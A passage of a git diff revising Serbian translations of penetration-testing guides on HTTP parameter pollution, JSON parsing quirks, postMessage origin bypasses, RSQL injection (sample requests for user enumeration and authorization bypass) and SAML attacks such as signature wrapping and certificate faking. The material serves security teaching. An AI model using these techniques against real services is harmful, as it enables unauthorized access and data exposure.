3. Preferiraj name ako name i name[] postoje.
|
||||
2. POST RequestMapping & PostMapping prepoznaju name\[].
|
||||
3. Preferiraj name ako name i name\[] postoje.
|
||||
4. Konkateniraj parametre npr. first,last.
|
||||
5. POST RequestMapping & PostMapping prepoznaju upitni parametar sa Content-Type.
|
||||
|
||||
@ -87,35 +84,35 @@ There results were taken from [https://medium.com/@0xAwali/http-parameter-pollut
|
||||
|
||||
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Prepoznaje name[].
|
||||
1. Prepoznaje name\[].
|
||||
2. Konkateniraj parametre npr. first,last.
|
||||
|
||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||
|
||||
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NE prepoznaje name[].
|
||||
1. NE prepoznaje name\[].
|
||||
2. Preferiraj prvi parametar.
|
||||
|
||||
### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NE prepoznaje name[].
|
||||
1. NE prepoznaje name\[].
|
||||
2. Preferiraj prvi parametar.
|
||||
|
||||
### Python 3.12.6 AND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NE prepoznaje name[].
|
||||
1. NE prepoznaje name\[].
|
||||
2. Preferiraj poslednji parametar.
|
||||
|
||||
### Python 3.12.6 AND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NE prepoznaje name[].
|
||||
1. NE prepoznaje name\[].
|
||||
2. Preferiraj poslednji parametar.
|
||||
|
||||
## JSON Injection
|
||||
@ -175,14 +172,14 @@ Rubyjeva simdjson biblioteka:
|
||||
```json
|
||||
{ "description": "Comment support", "test": 2, "extra": "a", "extra2": "b" }
|
||||
```
|
||||
### **Nepodudarnost Prioriteta: Deserijalizacija naspram Serijalizacije**
|
||||
### **Nepodudarnost prioriteta: Deserijalizacija vs. Serijalizacija**
|
||||
```ini
|
||||
obj = {"test": 1, "test": 2}
|
||||
|
||||
obj["test"] // 1
|
||||
obj.toString() // {"test": 2}
|
||||
```
|
||||
### Float i Celi Broj
|
||||
### Float i Integer
|
||||
|
||||
Broj
|
||||
```undefined
|
||||
|
@ -1,6 +1,4 @@
|
||||
# PostMessage Ranljivosti
|
||||
|
||||
## PostMessage Ranljivosti
|
||||
# PostMessage ranjivosti
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -38,7 +36,7 @@ Ako se koristi **wildcard**, **poruke se mogu slati bilo kojoj domeni**, i biće
|
||||
|
||||
### Napad na iframe & wildcard u **targetOrigin**
|
||||
|
||||
Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja **šalje osetljive** poruke putem **postMessage** koristeći **wildcard** (\*), možete **modifikovati** **izvor** **iframe-a** i **leak** **osetljivu** poruku na domen koji kontrolišete.\
|
||||
Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja **šalje osetljive** poruke putem **postMessage** koristeći **wildcard** (\*), možete **modifikovati** **izvor** **iframe-a** i **leak** **osetljive** poruke na domen koji kontrolišete.\
|
||||
Napomena da ako stranica može biti iframed, ali je **targetOrigin** **postavljen na URL i ne na wildcard**, ova **trik neće raditi**.
|
||||
```html
|
||||
<html>
|
||||
@ -80,11 +78,11 @@ Da biste **pronašli slušaoce događaja** na trenutnoj stranici možete:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
- **Ići na** _Elements --> Event Listeners_ u alatima za razvoj preglednika
|
||||
- **Ići na** _Elements --> Event Listeners_ u alatima za razvoj pregledača
|
||||
|
||||
.png>)
|
||||
|
||||
- Koristite **proširenje za preglednik** kao što je [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ova proširenja za preglednik će **presresti sve poruke** i prikazati ih vama.
|
||||
- Koristite **proširenje pregledača** kao što je [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ova proširenja pregledača će **presresti sve poruke** i prikazati ih vama.
|
||||
|
||||
### Zaobilaženje provere porekla
|
||||
|
||||
@ -102,7 +100,7 @@ Da biste **pronašli slušaoce događaja** na trenutnoj stranici možete:
|
||||
```
|
||||
|
||||
- **`match()`** funkcija, slična `search()`, obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju.
|
||||
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ne stvara novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
|
||||
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne stvara novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne priznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
|
||||
|
||||
- Očekivani neuspeh:
|
||||
|
||||
@ -120,17 +118,17 @@ result = u(new Error("'\"<b>\\"))
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
U kontekstu ove ranjivosti, `File` objekat je posebno podložan eksploataciji zbog svog samo-za-čitanje `name` svojstva. Ovo svojstvo, kada se koristi u šablonima, nije sanitizovano od strane `escapeHtml` funkcije, što dovodi do potencijalnih bezbednosnih rizika.
|
||||
U kontekstu ove ranjivosti, `File` objekat je posebno podložan eksploataciji zbog svog read-only `name` svojstva. Ovo svojstvo, kada se koristi u šablonima, nije sanitizovano od strane `escapeHtml` funkcije, što dovodi do potencijalnih bezbednosnih rizika.
|
||||
|
||||
- `document.domain` svojstvo u JavaScript-u može biti postavljeno od strane skripte da skraćuje domen, omogućavajući opušteniju primenu politike istog porekla unutar istog roditeljskog domena.
|
||||
|
||||
### e.origin == window.origin zaobilaženje
|
||||
|
||||
Kada se ugrađuje web stranica unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost.
|
||||
Kada se ugrađuje web stranica unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se bavi **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost.
|
||||
|
||||
Specifikovanjem **`allow-popups`** u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako **`allow-popups-to-escape-sandbox`** atribut nije takođe uključen, poreklo prozora je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
|
||||
Specifikovanjem **`allow-popups`** u sandbox atributu, bilo koji prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da, osim ako **`allow-popups-to-escape-sandbox`** atribut nije takođe uključen, poreklo prozora je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
|
||||
|
||||
Kao rezultat, kada se prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u prozor koristeći **`postMessage`**, i pošiljalac i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** se ocenjuje kao tačno (`null == null`), jer i iframe i prozor dele istu vrednost porekla `null`.
|
||||
Kao rezultat toga, kada se prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u prozor koristeći **`postMessage`**, i pošiljalac i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** se evaluira kao tačno (`null == null`), jer i iframe i prozor dele istu vrednost porekla `null`.
|
||||
|
||||
Za više informacija **pročitajte**:
|
||||
|
||||
@ -140,7 +138,7 @@ bypassing-sop-with-iframes-1.md
|
||||
|
||||
### Zaobilaženje e.source
|
||||
|
||||
Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za **Content Scripts iz proširenja preglednika** da provere da li je poruka poslata sa iste stranice):
|
||||
Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za **Content Scripts iz proširenja pregledača** da provere da li je poruka poslata sa iste stranice):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if (received_message.source !== window) {
|
||||
@ -157,7 +155,7 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
### X-Frame-Header zaobilaženje
|
||||
|
||||
Da biste izvršili ove napade, idealno bi bilo da možete **staviti web stranicu žrtve** unutar `iframe`. Ali neki headeri poput `X-Frame-Header` mogu **sprečiti** to **ponašanje**.\
|
||||
Da biste izvršili ove napade, idealno bi bilo da **stavite stranicu žrtve** unutar `iframe`. Ali neki headeri poput `X-Frame-Header` mogu **sprečiti** to **ponašanje**.\
|
||||
U tim scenarijima možete i dalje koristiti manje prikriven napad. Možete otvoriti novu karticu za ranjivu web aplikaciju i komunicirati s njom:
|
||||
```html
|
||||
<script>
|
||||
|
@ -1,13 +1,9 @@
|
||||
# RSQL Injection
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
## Šta je RSQL?
|
||||
RSQL je jezik upita dizajniran za parametarsko filtriranje unosa u RESTful API-ima. Zasnovan na FIQL (Feed Item Query Language), koji je prvobitno definisao Mark Nottingham za upitivanje Atom feed-ova, RSQL se izdvaja svojom jednostavnošću i sposobnošću da izrazi složene upite na kompaktan i URI-kompatibilan način preko HTTP-a. Ovo ga čini odličnim izborom kao opšti jezik upita za pretraživanje REST krajnjih tačaka.
|
||||
RSQL je jezik upita dizajniran za parametarsko filtriranje unosa u RESTful API-ima. Zasnovan na FIQL (Feed Item Query Language), koji je prvobitno definisao Mark Nottingham za upitivanje Atom feed-ova, RSQL se izdvaja po svojoj jednostavnosti i sposobnosti da izrazi složene upite na kompaktan i URI-kompatibilan način preko HTTP-a. Ovo ga čini odličnim izborom kao opšti jezik upita za pretraživanje REST krajnjih tačaka.
|
||||
|
||||
## Pregled
|
||||
RSQL Injection je ranjivost u web aplikacijama koje koriste RSQL kao jezik upita u RESTful API-ima. Slično [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) i [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), ova ranjivost se javlja kada RSQL filteri nisu pravilno sanitizovani, omogućavajući napadaču da ubaci zlonamerne upite kako bi pristupio, izmenio ili obrisao podatke bez autorizacije.
|
||||
@ -26,11 +22,11 @@ Ako aplikacija ne validira ispravno korisnički unos, napadač bi mogao da manip
|
||||
Ili čak iskoristiti za ekstrakciju osetljivih informacija pomoću Boolean upita ili ugnježdenih podupita.
|
||||
|
||||
## Rizici
|
||||
- **Izloženost osetljivih podataka:** Napadač može da dohvati informacije koje ne bi trebale biti dostupne.
|
||||
- **Izlaganje osetljivih podataka:** Napadač može da dohvati informacije koje ne bi trebale biti dostupne.
|
||||
- **Modifikacija ili brisanje podataka:** Injekcija filtera koji menjaju zapise u bazi podataka.
|
||||
- **Povećanje privilegija:** Manipulacija identifikatorima koji dodeljuju uloge kroz filtere kako bi se prevarila aplikacija pristupom sa privilegijama drugih korisnika.
|
||||
- **Povećanje privilegija:** Manipulacija identifikatorima koji dodeljuju uloge putem filtera kako bi se prevarila aplikacija pristupom sa privilegijama drugih korisnika.
|
||||
- **Izbegavanje kontrola pristupa:** Manipulacija filterima za pristup ograničenim podacima.
|
||||
- **Impersonacija ili IDOR:** Modifikacija identifikatora između korisnika kroz filtere koji omogućavaju pristup informacijama i resursima drugih korisnika bez pravilne autentifikacije.
|
||||
- **Impersonacija ili IDOR:** Modifikacija identifikatora između korisnika putem filtera koji omogućavaju pristup informacijama i resursima drugih korisnika bez pravilne autentifikacije.
|
||||
|
||||
## Podržani RSQL operatori
|
||||
| Operator | Opis | Primer |
|
||||
@ -87,8 +83,8 @@ Ovi parametri pomažu u optimizaciji API odgovora:
|
||||
| `fields[resource]` | Definiše koje polja da vrati u odgovoru | `/api/v2/users?fields[users]=id,name,email` |
|
||||
| `search` | Izvodi fleksibilniju pretragu | `/api/v2/posts?search=technology` |
|
||||
|
||||
## Curjenje informacija i enumeracija korisnika
|
||||
Sledeći zahtev prikazuje endpoint za registraciju koji zahteva parametar email kako bi proverio da li postoji neki korisnik registrovan sa tim emailom i vratio true ili false u zavisnosti od toga da li postoji u bazi podataka:
|
||||
## Izdavanje informacija i enumeracija korisnika
|
||||
Sledeći zahtev prikazuje endpoint za registraciju koji zahteva email parametar da proveri da li postoji neki korisnik registrovan sa tim email-om i vraća true ili false u zavisnosti od toga da li postoji u bazi podataka:
|
||||
### Zahtev
|
||||
```
|
||||
GET /api/registrations HTTP/1.1
|
||||
@ -209,7 +205,7 @@ Access-Control-Allow-Origin: *
|
||||
}
|
||||
```
|
||||
## Izbegavanje autorizacije
|
||||
U ovom scenariju, počinjemo od korisnika sa osnovnom ulogom i u kojem nemamo privilegovane dozvole (npr. administrator) za pristup listi svih korisnika registrovanih u bazi podataka:
|
||||
U ovom scenariju, počinjemo od korisnika sa osnovnom ulogom i u kojem nemamo privilegovane dozvole (npr. administrator) da pristupimo listi svih korisnika registrovanih u bazi podataka:
|
||||
### Zahtev
|
||||
```
|
||||
GET /api/users HTTP/1.1
|
||||
@ -238,7 +234,7 @@ Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
```
|
||||
Ponovo koristimo filtre i specijalne operatore koji će nam omogućiti alternativni način da dobijemo informacije o korisnicima i izbegnemo kontrolu pristupa. Na primer, filtriramo one *korisnike* koji sadrže slovo “*a*” u svom korisničkom *ID*-u:
|
||||
Ponovo koristimo filtre i specijalne operatore koji će nam omogućiti alternativni način da dobijemo informacije o korisnicima i izbegnemo kontrolu pristupa. Na primer, filtriramo *korisnike* koji sadrže slovo “*a*” u svom korisničkom *ID*-u:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
||||
@ -458,11 +454,11 @@ Access-Control-Allow-Origin: *
|
||||
}, {
|
||||
.......
|
||||
```
|
||||
## Impersonacija ili Nesigurne Direktne Reference na Objekte (IDOR)
|
||||
## Impersonate or Insecure Direct Object References (IDOR)
|
||||
Pored korišćenja `filter` parametra, moguće je koristiti i druge parametre kao što je `include` koji omogućava uključivanje određenih parametara u rezultat (npr. jezik, država, lozinka...).
|
||||
|
||||
U sledećem primeru, informacije o našem korisničkom profilu su prikazane:
|
||||
### Zahtev
|
||||
U sledećem primeru, prikazane su informacije o našem korisničkom profilu:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?include=language,country HTTP/1.1
|
||||
Host: localhost:3000
|
||||
|
@ -1,7 +1,5 @@
|
||||
# SAML Napadi
|
||||
|
||||
## SAML Napadi
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
@ -12,7 +10,7 @@ saml-basics.md
|
||||
|
||||
## Alat
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Alat koji može uzeti URL ili listu URL-ova i vraća SAML consume URL.
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Alat koji može uzeti URL ili listu URL-ova i vratiti SAML consume URL.
|
||||
|
||||
## XML povratna veza
|
||||
|
||||
@ -33,7 +31,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
|
||||
doc = REXML::Document.new doc.to_s
|
||||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||||
```
|
||||
Pokretanje programa protiv REXML 3.2.4 ili ranijeg rezultiraće sledećim izlazom umesto toga:
|
||||
Pokretanje programa protiv REXML 3.2.4 ili ranijeg rezultiraće sledećim izlazom umesto:
|
||||
```
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
@ -53,9 +51,9 @@ Za više informacija o ranjivosti i kako je iskoristiti:
|
||||
|
||||
## XML Signature Wrapping Attacks
|
||||
|
||||
U **XML Signature Wrapping napadima (XSW)**, protivnici koriste ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve različite faze: **validacija potpisa** i **poziv funkcije**. Ovi napadi uključuju menjanje strukture XML dokumenta. Konkretno, napadač **ubacuje lažne elemente** koji ne kompromituju validnost XML potpisa. Ova manipulacija ima za cilj da stvori razliku između elemenata koje analizira **aplikaciona logika** i onih koje proverava **modul za verifikaciju potpisa**. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje **lažne elemente**. Kao posledica, napadač efikasno zaobilazi **zaštitu integriteta** i **autentifikaciju porekla** XML potpisa, omogućavajući **ubacivanje proizvoljnog sadržaja** bez otkrivanja.
|
||||
U **XML Signature Wrapping napadima (XSW)**, protivnici koriste ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve različite faze: **validacija potpisa** i **poziv funkcije**. Ovi napadi uključuju menjanje strukture XML dokumenta. Konkretno, napadač **ubacuje lažne elemente** koji ne kompromituju validnost XML potpisa. Ova manipulacija ima za cilj da stvori razliku između elemenata koje analizira **aplikaciona logika** i onih koje proverava **modul za verifikaciju potpisa**. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje **prevarantske elemente**. Kao posledica, napadač efikasno zaobilazi **zaštitu integriteta** i **autentifikaciju porekla** XML potpisa, omogućavajući **ubacivanje proizvoljnog sadržaja** bez otkrivanja.
|
||||
|
||||
Sledeći napadi se zasnivaju na [**ovom blog postu**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **i** [**ovoj studiji**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Zato proverite te izvore za dodatne detalje.
|
||||
Sledeći napadi se zasnivaju na [**ovom blog postu**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **i** [**ovoj studiji**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Proverite ih za dodatne detalje.
|
||||
|
||||
### XSW #1
|
||||
|
||||
@ -87,7 +85,7 @@ Sledeći napadi se zasnivaju na [**ovom blog postu**](https://epi052.gitlab.io/n
|
||||
|
||||
### XSW #5
|
||||
|
||||
- **Jedinstveni aspekt**: Ni potpis ni originalna Assertion ne pridržavaju se standardnih konfiguracija (obavijeni/obavijajući/odvojeni).
|
||||
- **Jedinstveni aspekt**: Ni potpis ni originalna Assertion ne pridržavaju se standardnih konfiguracija (obavijen/obavijajući/odvojeni).
|
||||
- **Implikacija**: Kopirana Assertion obavija potpis, menjajući očekivanu strukturu dokumenta.
|
||||
|
||||
.png>)
|
||||
@ -115,11 +113,11 @@ Sledeći napadi se zasnivaju na [**ovom blog postu**](https://epi052.gitlab.io/n
|
||||
|
||||
### Alat
|
||||
|
||||
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) da analizirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.
|
||||
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) da parsirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.
|
||||
|
||||
## XXE
|
||||
|
||||
Ako ne znate koji su to napadi XXE, molimo vas da pročitate sledeću stranicu:
|
||||
Ako ne znate koji su napadi XXE, molimo vas da pročitate sledeću stranicu:
|
||||
|
||||
{{#ref}}
|
||||
../xxe-xee-xml-external-entity.md
|
||||
@ -145,9 +143,9 @@ SAML odgovori su **deflacionirani i base64 kodirani XML dokumenti** i mogu biti
|
||||
```
|
||||
## Alati
|
||||
|
||||
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.
|
||||
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.
|
||||
|
||||
Pogledajte takođe ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
Pogledajte i ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XSLT putem SAML
|
||||
|
||||
@ -157,7 +155,7 @@ Za više informacija o XSLT idite na:
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
Ekstenzibilne transformacije stilskih jezika (XSLT) mogu se koristiti za transformaciju XML dokumenata u različite formate kao što su HTML, JSON ili PDF. Ključno je napomenuti da se **XSLT transformacije vrše pre verifikacije digitalnog potpisa**. To znači da napad može biti uspešan čak i bez važećeg potpisa; samopotpisani ili nevažeći potpis je dovoljan za nastavak.
|
||||
Ekstenzibilni jezik za transformaciju stilova (XSLT) može se koristiti za transformaciju XML dokumenata u različite formate kao što su HTML, JSON ili PDF. Ključno je napomenuti da se **XSLT transformacije vrše pre verifikacije digitalnog potpisa**. To znači da napad može biti uspešan čak i bez važećeg potpisa; samopotpisani ili nevažeći potpis je dovoljan za nastavak.
|
||||
|
||||
Ovde možete pronaći **POC** za proveru ovakvih ranjivosti, na hacktricks stranici pomenutoj na početku ovog odeljka možete pronaći payload-e.
|
||||
```xml
|
||||
@ -181,49 +179,49 @@ Ovde možete pronaći **POC** za proveru ovakvih ranjivosti, na hacktricks stran
|
||||
```
|
||||
### Alat
|
||||
|
||||
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.
|
||||
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.
|
||||
|
||||
Pogledajte i ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
Pogledajte takođe ovo predavanje: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## Isključenje XML potpisa <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
**Isključenje XML potpisa** posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element odsutan, **verifikacija potpisa možda se neće dogoditi**, što ga čini ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.
|
||||
**Isključenje XML potpisa** posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element nedostajući, **verifikacija potpisa možda neće biti izvršena**, što ga čini ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.
|
||||
|
||||
.png>)
|
||||
|
||||
### Alat <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Presretnite SAML odgovor i kliknite `Remove Signatures`. Na taj način se **svi** elementi potpisa uklanjaju.
|
||||
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Presretnite SAML odgovor i kliknite na `Remove Signatures`. Na taj način se **svi** elementi potpisa uklanjaju.
|
||||
|
||||
Kada su potpisi uklonjeni, dozvolite zahtevu da prođe do cilja. Ako Potpis nije potreban od strane Servisa
|
||||
Sa uklonjenim potpisima, dozvolite zahtevu da prođe do cilja. Ako potpis nije potreban od strane Servisa
|
||||
|
||||
## Falsifikacija sertifikata <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
## Lažiranje sertifikata <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
## Falsifikacija sertifikata
|
||||
## Lažiranje sertifikata
|
||||
|
||||
Falsifikacija sertifikata je tehnika za testiranje da li **Provajder usluga (SP) pravilno verifikuje da je SAML poruka potpisana** od strane pouzdane Identitetske agencije (IdP). Uključuje korišćenje \***samo-potpisanog sertifikata** za potpisivanje SAML odgovora ili potvrde, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.
|
||||
Lažiranje sertifikata je tehnika za testiranje da li **Provajder usluga (SP) pravilno verifikuje da je SAML poruka potpisana** od strane pouzdane Identitetske provajder (IdP). Uključuje korišćenje \***samo-potpisanog sertifikata** za potpisivanje SAML odgovora ili potvrde, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.
|
||||
|
||||
### Kako sprovesti falsifikaciju sertifikata
|
||||
### Kako sprovesti lažiranje sertifikata
|
||||
|
||||
Sledeći koraci opisuju proces korišćenja Burp ekstenzije [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
||||
Sledeći koraci opisuju proces korišćenja [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp ekstenzije:
|
||||
|
||||
1. Presretnite SAML odgovor.
|
||||
2. Ako odgovor sadrži potpis, pošaljite sertifikat u SAML Raider Certs koristeći dugme `Send Certificate to SAML Raider Certs`.
|
||||
3. U SAML Raider kartici Sertifikati, izaberite uvezeni sertifikat i kliknite `Save and Self-Sign` da biste kreirali samo-potpisanu kopiju originalnog sertifikata.
|
||||
4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz padajućeg menija XML potpisa.
|
||||
3. U SAML Raider Certificates tabu, izaberite uvezeni sertifikat i kliknite na `Save and Self-Sign` da biste kreirali samo-potpisanu kopiju originalnog sertifikata.
|
||||
4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz XML Signature padajuće liste.
|
||||
5. Uklonite sve postojeće potpise pomoću dugmeta `Remove Signatures`.
|
||||
6. Potpišite poruku ili potvrdu novim sertifikatom koristeći dugme **`(Re-)Sign Message`** ili **`(Re-)Sign Assertion`**, kako je prikladno.
|
||||
6. Potpišite poruku ili potvrdu novim sertifikatom koristeći dugme **`(Re-)Sign Message`** ili **`(Re-)Sign Assertion`**, kako odgovara.
|
||||
7. Prosledite potpisanu poruku. Uspešna autentifikacija ukazuje da SP prihvata poruke potpisane vašim samo-potpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu verifikacije SAML poruka.
|
||||
|
||||
## Zbunjenost primaoca tokena / Zbunjenost cilja provajdera usluga <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
Zbunjenost primaoca tokena i Zbunjenost cilja provajdera usluga uključuju proveru da li **Provajder usluga pravilno verifikuje nameravanog primaoca odgovora**. U suštini, Provajder usluga treba da odbije odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje **Primaoc**, koje se nalazi unutar elementa **SubjectConfirmationData** SAML odgovora. Ovo polje specificira URL koji ukazuje gde potvrda mora biti poslata. Ako stvarni primalac ne odgovara nameravanom Provajderu usluga, potvrda bi trebala biti smatrana nevažećom.
|
||||
